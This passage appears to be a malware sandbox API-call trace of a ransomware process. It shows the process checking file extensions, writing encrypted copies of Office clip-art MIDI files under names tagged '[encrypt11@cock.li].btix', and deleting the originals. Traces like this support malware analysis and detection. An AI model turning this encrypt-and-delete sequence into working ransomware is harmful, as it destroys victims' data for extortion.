lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.811] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.811] lstrlenW (lpString="PARNT_09.MID") returned 12 [0158.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.811] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=6764) returned 1 [0158.811] CloseHandle (hObject=0x2fc) returned 1 [0158.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0158.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.812] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.812] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.812] GetLastError () returned 0x0 [0158.812] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0158.813] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0158.814] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.814] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.814] SetEndOfFile (hFile=0x338) returned 1 [0158.814] CloseHandle (hObject=0x338) returned 1 [0158.814] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.814] SetEndOfFile (hFile=0x2fc) returned 1 [0158.815] CloseHandle (hObject=0x2fc) returned 1 [0158.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0158.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.816] lstrlenW (lpString=".doc") returned 4 [0158.816] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.816] lstrlenW (lpString=".docx") returned 5 [0158.816] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0158.816] lstrlenW (lpString=".pdf") returned 4 [0158.816] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.816] lstrlenW (lpString=".xls") returned 4 [0158.816] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.816] lstrlenW (lpString=".xlsx") returned 5 [0158.816] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0158.816] lstrlenW (lpString=".ppt") returned 4 [0158.816] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.816] lstrlenW (lpString=".zip") returned 4 [0158.816] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.816] lstrlenW (lpString=".rar") returned 4 [0158.816] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.816] lstrlenW (lpString=".bz2") returned 4 [0158.816] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.816] lstrlenW (lpString=".7z") returned 3 [0158.816] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.816] lstrlenW (lpString=".dbf") returned 4 [0158.816] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.816] lstrlenW (lpString=".1cd") returned 4 [0158.816] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.816] lstrlenW (lpString=".jpg") returned 4 [0158.816] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.817] lstrlenW (lpString=".doc") returned 4 [0158.817] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.817] lstrlenW (lpString=".docx") returned 5 [0158.817] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0158.817] lstrlenW (lpString=".pdf") returned 4 [0158.817] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.817] lstrlenW (lpString=".xls") returned 4 [0158.817] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.817] lstrlenW (lpString=".xlsx") returned 5 [0158.817] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0158.817] lstrlenW (lpString=".ppt") returned 4 [0158.817] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.817] lstrlenW (lpString=".zip") returned 4 [0158.817] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.817] lstrlenW (lpString=".rar") returned 4 [0158.817] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.817] lstrlenW (lpString=".bz2") returned 4 [0158.817] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.817] lstrlenW (lpString=".7z") returned 3 [0158.817] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.817] lstrlenW (lpString=".dbf") returned 4 [0158.817] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.817] lstrlenW (lpString=".1cd") returned 4 [0158.817] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0158.817] lstrlenW (lpString=".jpg") returned 4 [0158.817] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.818] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.818] lstrlenW (lpString="PARNT_10.MID") returned 12 [0158.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.818] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=5393) returned 1 [0158.818] CloseHandle (hObject=0x2fc) returned 1 [0158.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0158.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.818] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.818] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.819] GetLastError () returned 0x0 [0158.819] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x1511, lpOverlapped=0x0) returned 1 [0158.820] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x1520, lpOverlapped=0x0) returned 1 [0158.821] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.821] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.821] SetEndOfFile (hFile=0x338) returned 1 [0158.821] CloseHandle (hObject=0x338) returned 1 [0158.821] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.821] SetEndOfFile (hFile=0x2fc) returned 1 [0158.822] CloseHandle (hObject=0x2fc) returned 1 [0158.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0158.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.822] lstrlenW (lpString=".doc") returned 4 [0158.822] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.822] lstrlenW (lpString=".docx") returned 5 [0158.822] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0158.822] lstrlenW (lpString=".pdf") returned 4 [0158.822] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.822] lstrlenW (lpString=".xls") returned 4 [0158.823] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.823] lstrlenW (lpString=".xlsx") returned 5 [0158.823] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0158.823] lstrlenW (lpString=".ppt") returned 4 [0158.823] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.823] lstrlenW (lpString=".zip") returned 4 [0158.823] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.823] lstrlenW (lpString=".rar") returned 4 [0158.823] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.823] lstrlenW (lpString=".bz2") returned 4 [0158.823] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.823] lstrlenW (lpString=".7z") returned 3 [0158.823] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.823] lstrlenW (lpString=".dbf") returned 4 [0158.823] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.823] lstrlenW (lpString=".1cd") returned 4 [0158.823] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.823] lstrlenW (lpString=".jpg") returned 4 [0158.823] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.823] lstrlenW (lpString=".doc") returned 4 [0158.823] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.823] lstrlenW (lpString=".docx") returned 5 [0158.823] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0158.823] lstrlenW (lpString=".pdf") returned 4 [0158.823] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.823] lstrlenW (lpString=".xls") returned 4 [0158.823] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.823] lstrlenW (lpString=".xlsx") returned 5 [0158.824] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0158.824] lstrlenW (lpString=".ppt") returned 4 [0158.824] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.824] lstrlenW (lpString=".zip") returned 4 [0158.824] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.824] lstrlenW (lpString=".rar") returned 4 [0158.824] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.824] lstrlenW (lpString=".bz2") returned 4 [0158.824] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.824] lstrlenW (lpString=".7z") returned 3 [0158.824] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.824] lstrlenW (lpString=".dbf") returned 4 [0158.824] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.824] lstrlenW (lpString=".1cd") returned 4 [0158.824] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0158.824] lstrlenW (lpString=".jpg") returned 4 [0158.824] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.824] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.824] lstrlenW (lpString="ROAD_01.MID") returned 11 [0158.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.824] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=5983) returned 1 [0158.825] CloseHandle (hObject=0x2fc) returned 1 [0158.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0158.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.825] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.825] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.825] GetLastError () returned 0x0 [0158.826] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x175f, lpOverlapped=0x0) returned 1 [0158.826] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x1760, lpOverlapped=0x0) returned 1 [0158.827] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.827] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1 [0158.827] SetEndOfFile (hFile=0x338) returned 1 [0158.827] CloseHandle (hObject=0x338) returned 1 [0158.827] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.827] SetEndOfFile (hFile=0x2fc) returned 1 [0158.828] CloseHandle (hObject=0x2fc) returned 1 [0158.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0158.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.829] lstrlenW (lpString=".doc") returned 4 [0158.829] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.829] lstrlenW (lpString=".docx") returned 5 [0158.829] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.829] lstrlenW (lpString=".pdf") returned 4 [0158.829] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.829] lstrlenW (lpString=".xls") returned 4 [0158.829] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.829] lstrlenW (lpString=".xlsx") returned 5 [0158.829] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.829] lstrlenW (lpString=".ppt") returned 4 [0158.829] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.829] lstrlenW (lpString=".zip") returned 4 [0158.829] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.830] lstrlenW (lpString=".rar") returned 4 [0158.830] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.830] lstrlenW (lpString=".bz2") returned 4 [0158.830] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.830] lstrlenW (lpString=".7z") returned 3 [0158.830] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.830] lstrlenW (lpString=".dbf") returned 4 [0158.830] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.830] lstrlenW (lpString=".1cd") returned 4 [0158.830] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.830] lstrlenW (lpString=".jpg") returned 4 [0158.830] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.830] lstrlenW (lpString=".doc") returned 4 [0158.830] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.830] lstrlenW (lpString=".docx") returned 5 [0158.830] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.830] lstrlenW (lpString=".pdf") returned 4 [0158.830] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.830] lstrlenW (lpString=".xls") returned 4 [0158.830] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.830] lstrlenW (lpString=".xlsx") returned 5 [0158.830] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.830] lstrlenW (lpString=".ppt") returned 4 [0158.830] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.830] lstrlenW (lpString=".zip") returned 4 [0158.830] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.831] lstrlenW (lpString=".rar") returned 4 [0158.831] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.831] lstrlenW (lpString=".bz2") returned 4 [0158.831] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.831] lstrlenW (lpString=".7z") returned 3 [0158.831] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.831] lstrlenW (lpString=".dbf") returned 4 [0158.831] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.831] lstrlenW (lpString=".1cd") returned 4 [0158.831] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0158.831] lstrlenW (lpString=".jpg") returned 4 [0158.831] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.831] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.831] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0158.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.831] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=10122) returned 1 [0158.831] CloseHandle (hObject=0x2fc) 